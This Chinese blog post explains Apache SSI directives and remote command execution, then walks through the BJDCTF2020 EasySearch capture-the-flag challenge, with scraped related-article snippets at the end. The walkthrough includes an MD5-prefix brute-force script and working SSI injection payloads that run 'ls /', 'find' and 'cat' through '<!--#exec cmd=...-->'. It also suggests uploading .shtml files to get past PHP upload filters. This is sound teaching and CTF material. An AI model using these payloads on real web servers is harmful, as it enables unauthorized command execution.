Apache SSI远程命令执行漏洞

devtools/2024/12/22 21:18:20/

什么是SSI

Apache SSI(Server Side Include),通常称为"服务器端嵌入"或者叫"服务器端包含",是一种类似于ASP的基于服务器的网页制作技术。默认扩展名是 .stm、.shtm 和 .shtml。

从技术层面来讲,SSI是一种在静态的shtml文件中根据需求插入内容;

SSI其实是一套为web服务器提供的命令,指令的基本格式为:<!--指令名称="指令内容"-->

常用的指令:

指令名称 指令作用
#include将文本文件的内容直接插入到文档页面中
#echo将环境变量插入到页面中
#flastmod和#fsize#flastmod文件最近更新日期。
#fsize文件的长度。
#exec将某一外部程序的输出插入到页面中,可插入CGI程序或者是常规应用程序的输入,这取决于使用的参数是cmd还是cgi(cgi为插入到CGI程序中)
#config指定返回给客户端浏览器的错误信息、日期和文件大小的格式
#printenv显示当前存在于WEB服务器环境中的所有环境变量
#set可给变量赋值,以用于后面的if语句
#if创建可以改变数据的页面,这些数据根据使用if语句时计算的要求予以显示

 在目前我了解的应用于远程执行漏洞的指令是#exec,如果对于其他指令可以自行了解

#exec语法:

<!--#exec cmd="文件名称"-->

运用于常规程序

<!--#exec cgi="文件名称"-->

运用于CGI程序

SSI 远程命令执行漏洞产生原理

漏洞产生原因:在Apache服务器下,如果开启了SSI功能,那么就可以利用ssi指令对shtml等文件进行任意的命令执行;在文件上传时,如果限制了php上传,可以通过上传shtml利用<!--#exec cmd="命令" -->执行任意命令

触发条件

当存在一些条件时,就可以在利用ssi在web服务器上实现任意命令执行:

  • Web服务器为Apache和IIS(支持SSI功能的服务器)
  • 服务器有上传或者用户输入页面且未对相关SSI关键字做过滤
  • Web应用程序在返回响应的HTML页面时,嵌入用户输入
  • 未对输入的参数值进行输入过滤

例题

[BJDCTF2020]EasySearch

打开环境,是一个类似登录框的东西

尝试登录一下

常规进行抓包看看有没有什么提示,响应头没有什么提示,进行目录的扫描

 进行目录扫描不建议使用disearch,这里使用dirmap,这是一个功能强于DirBuster、Dirsearch、cansina、御剑的扫描软件

扫描发现一个swp备份文件,尝试访问

拿到源码,审查一下代码

 if(isset($_POST['username']) and $_POST['username'] != '' ){$admin = '6d0bc1';if ( $admin == substr(md5($_POST['password']),0,6)) {echo "<script>alert('[+] Welcome to manage system')</script>";$file_shtml = "public/".get_hash().".shtml";$shtml = fopen($file_shtml, "w") or die("Unable to open file!");$text = '

 传入的密码在经过md5加密后的,前6位等于6d0bc1

在网上找一个脚本跑一下

import hashlibfor i in range(100000000):a = hashlib.md5(str(i).encode("utf-8")).hexdigest()if a[0:6] == '6d0bc1':print(i)

passward可以为这两组数字

 现在开始尝试登录

admin&2020666

抓包看看响应头的回显,提示了一个url直接去访问

访问后能看见回显了我们刚刚登录的username ,说明这里存在注入点,可以利用

注入方式就是我们应该考虑的,我们的思路应该还是先利用命令执行来获取关于flag的信息,并且可以发现此时的后缀是shtml,那么就存在SSI漏洞尝试进行注入

在username的位置进行ssi注入

<!--#exec cmd="ls /"-->

不能明显的发现flag的位置,也可以再单独的去ls每个子目录下的内容,或者是直接查看flag的位置

<!--#exec cmd="find / -name flag*"-->

 

 cat flag

<!--#exec cmd="cat /var/www/html/flag_990c66bf85a09c664f0b6741840499b2"-->


http://www.ppmy.cn/devtools/31481.html

相关文章

【漏洞复现】zookeeper AdminServer 未授权访问漏洞

0x01 产品简介 ZooKeeper 是一个集中式服务&#xff0c;用于维护配置信息、命名、提供分布式同步和提供组服务。ZooKeeper的AdminServer是其管理界面的一部分&#xff0c;通常用于监控ZooKeeper集群的状态和执行一些管理操作。AdminServer提供了Web-based的管理和监控功能&…

UE4_Niagara_两个模型之间的粒子幻化

学习笔记&#xff0c;仅供参考&#xff01; 操作步骤&#xff1a; 1、新建niagara system&#xff0c;添加空的发射器&#xff0c;渲染改为网格体渲染器&#xff0c;网格体为1M_Cube. 2、创建粒子材质重载。 3、渲染网格体的材质设置&#xff1a; 4、在发射器属性面板&#x…

区块链 | IPFS:IPNS(入门版)

&#x1f98a;原文&#xff1a;IPFS 与 IPNS 啥关系&#xff1f; &#x1f98a;写在前面&#xff1a;本文属于搬运博客&#xff0c;自己留存学习。这篇文章讲得太入门了&#xff0c;不涉及任何底层原理。 正文 随着 2019 年 12 月 12 日 Filecoin 测试网的上线&#xff0c;IPF…

leetcode295. 数据流的中位数

class MedianFinder {//A为小根堆&#xff0c;B为大根堆List<Integer> A,B;public MedianFinder() {A new ArrayList<Integer>();B new ArrayList<Integer>();}public void addNum(int num) {int m A.size(),n B.size();if(m n){insert(B,num);int top …

计算机等级考试2级(Python)知识点整理

计算机等级考试2级&#xff08;Python&#xff09;知识点整理 1.基础知识点&#xff08;记忆、理解&#xff09; 第1讲Python概述 01. 源代码 02. 目标代码 03. 编译和解释 04. 程序的基本编写方法 第2讲 Python语言基础&#xff08;一&#xff09; 01. 用缩进表示代码…

flutter实现选择图片视频上传到oss和图片视频的预览功能

一、效果图 flutter实现选择图片视频上传到oss和图片视频的预览功 二、所需要的依赖 image_picker: ^1.1.0 //选择图片 flutter_oss_aliyun: ^6.4.1 //图片上传到阿里云oss uuid: ^4.4.0 //生成唯一uuid interactiveviewer_gallery: ^0.6.0 //图片视频预览 cached_network_ima…

机器学习决策树模型

决策树模型从单一到集成 【机器学习】决策树&#xff08;上&#xff09;——ID3、C4.5、CART&#xff08;非常详细&#xff09;【机器学习】决策树&#xff08;中&#xff09;——Random Forest、Adaboost、GBDT &#xff08;非常详细&#xff09;【机器学习】决策树&#xff…

排序算法--直接选择排序

前提&#xff1a; 选择排序&#xff1a;选择排序(Selection sort)是一种比较简单的排序算法。它的算法思想是每一次从待排序的数据元素中选出最小(或最大)的一个元素&#xff0c;存放在序列的起始位置&#xff0c;直到全部待排序的数据元素排完。 话不多说&#xff0c;直接放图…